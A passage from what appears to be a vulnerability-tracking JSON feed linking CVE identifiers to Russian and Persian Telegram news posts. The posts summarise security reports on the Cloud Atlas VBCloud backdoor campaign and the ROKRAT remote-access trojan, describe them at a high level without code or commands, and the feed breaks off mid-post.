(CVE-2019-0697, CVE-2019-0698 \u0438 CVE-2019-0726) \u0432 DHCP-\u043a\u043b\u0438\u0435\u043d\u0442\u0435 Windows, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/498333.php", "creation_timestamp": "2026-07-27T00:00:29.193355Z"}, {"uuid": "730164af-6b4c-4cbc-911d-ed5cf2c25a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/EchelonEyes/3514", "content": "\u041d\u043e\u0432\u044b\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 Cloud Atlas \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Cloud Atlas, \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBCloud \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\u00bb \u0432 2024 \u0433\u043e\u0434\u0443. \u0411\u043e\u043b\u0435\u0435 80% \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0432 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Cloud Atlas \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0441 2014 \u0433\u043e\u0434\u0430. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u043e\u043d\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d. \u0410 \u0432 2023 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0432 \u0441\u0435\u0431\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0412 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, CVE-2018-0802, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0430\u043f\u043a\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nKaspersky \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0446\u0435\u043b\u044b\u0445 \u0441\u0435\u043c\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a PowerShell. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0438 \u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0441\u043b\u0443\u0436\u0431 Active Directory (ADSI), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 PowerShell \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Kerberoasting (\u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 Active Directory), \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0433\u0440\u0443\u043f\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 ProgramData \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445 (\u0431\u0443\u043a\u0432\u0430 \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e), \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0444\u0430\u0439\u043b\u0430\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 Telegram. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://securelist.com/cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/ \n\n#\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435\u041f\u041e #malware", "creation_timestamp": "2026-07-27T00:00:39.726380Z"}, {"uuid": "a5a58ea7-a890-44d2-b284-fa9c3626fbdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0808", "type": "seen", "source": "https://t.me/KaitNews/3867", "content": "\u06cc\u06a9 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062c\u062f\u06cc\u062f\u060c \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u062e\u0648\u062f \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \n\n\ud83d\udc9a\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9b\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9a\n\n\u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0641\u0646\u200c\u0622\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648 \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a :\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u06cc\u0633\u06a9\u0648 \u062a\u0627\u0644\u0648\u0633 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0646\u062f \u06cc\u06a9 \u0627\u0628\u0632\u0627\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0634\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0648 \u062e\u0627\u0631\u062c \u06a9\u0631\u062f\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0642\u0631\u0628\u0627\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0646\u0627\u0645 ROKRAT \u062a\u0648\u0633\u0637 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647 \u0628\u0627 \u0636\u0645\u06cc\u0645\u0647\u200c\u06cc \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 Hangul \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u06a9\u0631\u0647 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u06a9\u0634\u0648\u0631 \u0628\u0647\u200c\u062c\u0627\u06cc \u0622\u0641\u06cc\u0633 \u0627\u0632 \u0645\u062d\u0628\u0648\u0628\u06cc\u062a \u0632\u06cc\u0627\u062f\u06cc \u0628\u0631\u062e\u0648\u0631\u062f\u0627\u0631 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u0627\u0632 \u0637\u0631\u0641 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc Yonsei \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u062e\u0635\u0648\u0635\u06cc \u062f\u0631 \u0633\u0626\u0648\u0644 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0631 \u0642\u0633\u0645\u062a \u0622\u062f\u0631\u0633 \u0641\u0631\u0633\u062a\u0646\u062f\u0647\u060c \u0627\u0632 \u0622\u062f\u0631\u0633 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0646\u062c\u0645\u0646 \u062c\u0647\u0627\u0646\u06cc \u06a9\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0633\u0646\u062f \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632\u0650 \u0645\u062e\u0631\u0628\u060c \u062d\u0627\u0648\u06cc \u06cc\u06a9 \u0634\u06cc\u0621 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc \u067e\u0633\u062a\u200c\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f3-\u06f0\u06f8\u06f0\u06f8) \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u06cc\u06a9 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0642\u0627\u0644\u0628 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc jpg. \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0648 \u0627\u062c\u0631\u0627 \u0634\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 ROKRAT \u0628\u0631 \u0631\u0648\u06cc \u0645\u0627\u0634\u06cc\u0646 \u0642\u0631\u0628\u0627\u0646\u06cc \u0646\u0635\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 